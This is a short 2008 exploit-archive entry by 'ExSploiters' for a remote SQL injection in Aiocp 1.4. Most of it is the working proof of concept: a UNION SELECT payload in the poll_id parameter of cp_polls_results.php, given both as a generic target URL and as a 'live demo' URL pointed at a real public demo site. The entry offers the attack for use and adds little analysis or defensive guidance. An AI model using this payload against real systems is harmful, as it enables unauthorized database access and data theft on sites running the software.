[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Aiocp 1.4 (poll_id) Remote SQL Injection Vulnerability
# Published : 2008-10-27
# Author : ExSploiters
# Previous Title : Questcms (XSS/Directory Traversal/SQL) Multiple Remote Vulnerabilities
# Next Title : MyKtools 2.4 Arbitrary Database Backup Vulnerability
###########################################
# Aiocp 1.4 Remote SQL Injection vulnerability
#
# Found by : ExSploiters
#
# Contact : exsploiters@gmail.com
#
# Download : http://sourceforge.net/project/showfiles.php?group_id=159137&package_id=178594&release_id=619157
###########################################
PoC :
http://[target]/[path]/public/code/cp_polls_results.php?poll_language=eng&poll_id=-0+union+select+0,1,2,version(),4,5,6--
L!ve Demo :
http://demo.opensourcecms.com/aiocp/public/code/cp_polls_results.php?poll_language=eng&poll_id=-0+union+select+0,1,2,version(),4,5,6--
Greetz :
no one =)
# www.Syue.com [2008-10-27]